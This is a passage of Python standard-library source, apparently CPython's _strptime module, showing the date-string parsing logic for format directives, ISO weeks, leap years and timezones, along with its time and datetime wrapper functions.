                          data_string[found.end():])

    iso_year = year = None
    month = day = 1
    hour = minute = second = fraction = 0
    tz = -1
    tzoffset = None
    # Default to -1 to signify that values not known; not critical to have,
    # though
    iso_week = week_of_year = None
    week_of_year_start = None
    # weekday and julian defaulted to None so as to signal need to calculate
    # values
    weekday = julian = None
    found_dict = found.groupdict()
    for group_key in found_dict.keys():
        # Directives not explicitly handled below:
        #   c, x, X
        #      handled by making out of other directives
        #   U, W
        #      worthless without day of the week
        if group_key == 'y':
            year = int(found_dict['y'])
            # Open Group specification for strptime() states that a %y
            #value in the range of [00, 68] is in the century 2000, while
            #[69,99] is in the century 1900
            if year <= 68:
                year += 2000
            else:
                year += 1900
        elif group_key == 'Y':
            year = int(found_dict['Y'])
        elif group_key == 'G':
            iso_year = int(found_dict['G'])
        elif group_key == 'm':
            month = int(found_dict['m'])
        elif group_key == 'B':
            month = locale_time.f_month.index(found_dict['B'].lower())
        elif group_key == 'b':
            month = locale_time.a_month.index(found_dict['b'].lower())
        elif group_key == 'd':
            day = int(found_dict['d'])
        elif group_key == 'H':
            hour = int(found_dict['H'])
        elif group_key == 'I':
            hour = int(found_dict['I'])
            ampm = found_dict.get('p', '').lower()
            # If there was no AM/PM indicator, we'll treat this like AM
            if ampm in ('', locale_time.am_pm[0]):
                # We're in AM so the hour is correct unless we're
                # looking at 12 midnight.
                # 12 midnight == 12 AM == hour 0
                if hour == 12:
                    hour = 0
            elif ampm == locale_time.am_pm[1]:
                # We're in PM so we need to add 12 to the hour unless
                # we're looking at 12 noon.
                # 12 noon == 12 PM == hour 12
                if hour != 12:
                    hour += 12
        elif group_key == 'M':
            minute = int(found_dict['M'])
        elif group_key == 'S':
            second = int(found_dict['S'])
        elif group_key == 'f':
            s = found_dict['f']
            # Pad to always return microseconds.
            s += "0" * (6 - len(s))
            fraction = int(s)
        elif group_key == 'A':
            weekday = locale_time.f_weekday.index(found_dict['A'].lower())
        elif group_key == 'a':
            weekday = locale_time.a_weekday.index(found_dict['a'].lower())
        elif group_key == 'w':
            weekday = int(found_dict['w'])
            if weekday == 0:
                weekday = 6
            else:
                weekday -= 1
        elif group_key == 'u':
            weekday = int(found_dict['u'])
            weekday -= 1
        elif group_key == 'j':
            julian = int(found_dict['j'])
        elif group_key in ('U', 'W'):
            week_of_year = int(found_dict[group_key])
            if group_key == 'U':
                # U starts week on Sunday.
                week_of_year_start = 6
            else:
                # W starts week on Monday.
                week_of_year_start = 0
        elif group_key == 'V':
            iso_week = int(found_dict['V'])
        elif group_key == 'z':
            z = found_dict['z']
            tzoffset = int(z[1:3]) * 60 + int(z[3:5])
            if z.startswith("-"):
                tzoffset = -tzoffset
        elif group_key == 'Z':
            # Since -1 is default value only need to worry about setting tz if
            # it can be something other than -1.
            found_zone = found_dict['Z'].lower()
            for value, tz_values in enumerate(locale_time.timezone):
                if found_zone in tz_values:
                    # Deal with bad locale setup where timezone names are the
                    # same and yet time.daylight is true; too ambiguous to
                    # be able to tell what timezone has daylight savings
                    if (time.tzname[0] == time.tzname[1] and
                       time.daylight and found_zone not in ("utc", "gmt")):
                        break
                    else:
                        tz = value
                        break
    # Deal with the cases where ambiguities arize
    # don't assume default values for ISO week/year
    if year is None and iso_year is not None:
        if iso_week is None or weekday is None:
            raise ValueError("ISO year directive '%G' must be used with "
                             "the ISO week directive '%V' and a weekday "
                             "directive ('%A', '%a', '%w', or '%u').")
        if julian is not None:
            raise ValueError("Day of the year directive '%j' is not "
                             "compatible with ISO year directive '%G'. "
                             "Use '%Y' instead.")
    elif week_of_year is None and iso_week is not None:
        if weekday is None:
            raise ValueError("ISO week directive '%V' must be used with "
                             "the ISO year directive '%G' and a weekday "
                             "directive ('%A', '%a', '%w', or '%u').")
        else:
            raise ValueError("ISO week directive '%V' is incompatible with "
                             "the year directive '%Y'. Use the ISO year '%G' "
                             "instead.")

    leap_year_fix = False
    if year is None and month == 2 and day == 29:
        year = 1904  # 1904 is first leap year of 20th century
        leap_year_fix = True
    elif year is None:
        year = 1900


    # If we know the week of the year and what day of that week, we can figure
    # out the Julian day of the year.
    if julian is None and weekday is not None:
        if week_of_year is not None:
            week_starts_Mon = True if week_of_year_start == 0 else False
            julian = _calc_julian_from_U_or_W(year, week_of_year, weekday,
                                                week_starts_Mon)
        elif iso_year is not None and iso_week is not None:
            year, julian = _calc_julian_from_V(iso_year, iso_week, weekday + 1)
        if julian is not None and julian <= 0:
            year -= 1
            yday = 366 if calendar.isleap(year) else 365
            julian += yday

    if julian is None:
        # Cannot pre-calculate datetime_date() since can change in Julian
        # calculation and thus could have different value for the day of
        # the week calculation.
        # Need to add 1 to result since first day of the year is 1, not 0.
        julian = datetime_date(year, month, day).toordinal() - \
                  datetime_date(year, 1, 1).toordinal() + 1
    else:  # Assume that if they bothered to include Julian day (or if it was
           # calculated above with year/week/weekday) it will be accurate.
        datetime_result = datetime_date.fromordinal(
                            (julian - 1) +
                            datetime_date(year, 1, 1).toordinal())
        year = datetime_result.year
        month = datetime_result.month
        day = datetime_result.day
    if weekday is None:
        weekday = datetime_date(year, month, day).weekday()
    # Add timezone info
    tzname = found_dict.get("Z")
    if tzoffset is not None:
        gmtoff = tzoffset * 60
    else:
        gmtoff = None

    if leap_year_fix:
        # the caller didn't supply a year but asked for Feb 29th. We couldn't
        # use the default of 1900 for computations. We set it back to ensure
        # that February 29th is smaller than March 1st.
        year = 1900

    return (year, month, day,
            hour, minute, second,
            weekday, julian, tz, tzname, gmtoff), fraction

def _strptime_time(data_string, format="%a %b %d %H:%M:%S %Y"):
    """Return a time struct based on the input string and the
    format string."""
    tt = _strptime(data_string, format)[0]
    return time.struct_time(tt[:time._STRUCT_TM_ITEMS])

def _strptime_datetime(cls, data_string, format="%a %b %d %H:%M:%S %Y"):
    """Return a class cls instance based on the input string and the
    format string."""
    tt, fraction = _strptime(data_string, format)
    tzname, gmtoff = tt[-2:]
    args = tt[:6] + (fraction,)
    if gmtoff is not None:
        tzdelta = datetime_timedelta(seconds=gmtoff)
        if tzname:
            tz = datetime_timezone(tzdelta, tzname)
        else:
            tz = datetime_timezone(tzdelta)
        args += (tz,)

    return cls(*args)